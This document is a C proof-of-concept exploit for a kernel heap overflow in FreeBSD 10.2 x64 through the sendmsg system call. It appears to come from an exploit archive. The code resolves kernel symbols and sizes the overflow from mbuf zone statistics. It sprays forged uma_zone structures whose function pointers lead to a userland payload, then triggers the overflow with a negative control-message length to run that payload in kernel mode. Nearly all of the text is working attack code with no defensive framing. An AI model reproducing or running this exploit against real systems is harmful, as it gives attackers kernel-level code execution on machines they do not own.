FreeBSD Kernel (FreeBSD 10.2 x64) – ‘sendmsg’ Kernel Heap Overflow (PoC)
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include <sys/param.h> #include <sys/mman.h> #include <sys/socket.h> #include <sys/param.h> #include <sys/linker.h> void *(*ata_get_xport)(void); int (*kprintf)(const char *fmt, ...); char *ostype; void *resolve(char *name) { struct kld_sym_lookup ksym; ksym.version = sizeof(ksym); ksym.symname = name; if(kldsym(0, KLDSYM_LOOKUP, &ksym) < 0) { perror("kldsym"); exit(1); } printf(" [+] Resolved %s to %#lx\n", ksym.symname, ksym.symvalue); return (void *)ksym.symvalue; } void dummy(void) { } void payload(void) { kprintf(" [+] Entered kernel payload\n"); strcpy(ostype, "CTurt "); } #define INFO_SIZE 0 #define INFO_LIMIT 1 #define INFO_USED 2 #define INFO_FREE 3 #define INFO_REQ 4 #define INFO_FAIL 5 int getZoneInfo(char *zname, int i) { #define BUF_SIZE 256 #define LINE_SIZE 56 unsigned int info[6] = { 0 }; FILE *fp = NULL; char buf[BUF_SIZE]; char iname[LINE_SIZE]; fp = popen("/usr/bin/vmstat -z", "r"); if(fp == NULL) { perror("popen"); exit(1); } memset(buf, 0, sizeof(buf)); memset(iname, 0, sizeof(iname)); while(fgets(buf, sizeof(buf) - 1, fp) != NULL) { sscanf(buf, "%s %u, %u, %u, %u, %u, %u\n", iname, &info[INFO_SIZE], &info[INFO_LIMIT], &info[INFO_USED], &info[INFO_FREE], &info[INFO_REQ], &info[INFO_FAIL]); if(strncmp(iname, zname, strlen(zname)) == 0 && iname[strlen(zname)] == ':') { break; } } pclose(fp); return info[i]; } void craftCorruptedZone(void *zone) { void **uz_slab = (void **)(zone + 200); void **uz_dtor = (void **)(zone + 216); void **uz_fini = (void **)(zone + 232); void **uz_import = (void **)(zone + 240); void **uz_release = (void **)(zone + 248); *uz_slab = dummy; *uz_fini = payload; *uz_import = dummy; *uz_release = dummy; } void craftZone(void *zone) { void **uz_slab = (void **)(zone + 200); void **uz_dtor = (void **)(zone + 216); void **uz_fini = (void **)(zone + 232); void **uz_import = (void **)(zone + 240); void **uz_release = (void **)(zone + 248); // put valid kernel address *uz_slab = ata_get_xport; *uz_fini = ata_get_xport; *uz_import = ata_get_xport; *uz_release = ata_get_xport; } int main(void) { int sock; struct msghdr msg; ata_get_xport = resolve("ata_get_xport"); kprintf = resolve("printf"); ostype = resolve("ostype"); const int previousAllocations = getZoneInfo("mbuf", INFO_USED); const size_t bufferSize = getZoneInfo("mbuf", INFO_SIZE); const size_t overflowSize = previousAllocations * bufferSize + 0x4000; char *mapping, *buffer, *overflow; const size_t copySize = bufferSize + overflowSize; const size_t mappingSize = (copySize + PAGE_SIZE - 1) & ~(PAGE_SIZE - 1); mapping = mmap(NULL, mappingSize + PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); munmap(mapping + mappingSize, PAGE_SIZE); buffer = mapping + mappingSize - copySize; overflow = buffer + bufferSize; memset(overflow, 0, overflowSize); // sizeof(struct uma_zone) == 0x300, but since we can't be certain exactly where we overflow from, we will craft at 256 byte intervals for(size_t i = previousAllocations * bufferSize + 0xe0; i < overflowSize - 256; i += 256) { craftCorruptedZone(overflow + i); } sock = socket(AF_INET, SOCK_STREAM, 0); memset(&msg, 0, sizeof(msg)); msg.msg_control = buffer; msg.msg_controllen = -1; printf(" [+] Performing overflow\n"); sendmsg(sock, &msg, 0); printf(" [+] Triggering payload\n"); close(sock); sock = socket(AF_INET, SOCK_STREAM, 0); for(size_t i = previousAllocations * bufferSize + 0xe0; i < overflowSize - 256; i += 256) { craftZone(overflow + i); } printf(" [+] Performing overflow\n"); sendmsg(sock, &msg, 0); munmap(mapping, mappingSize); return 0; } |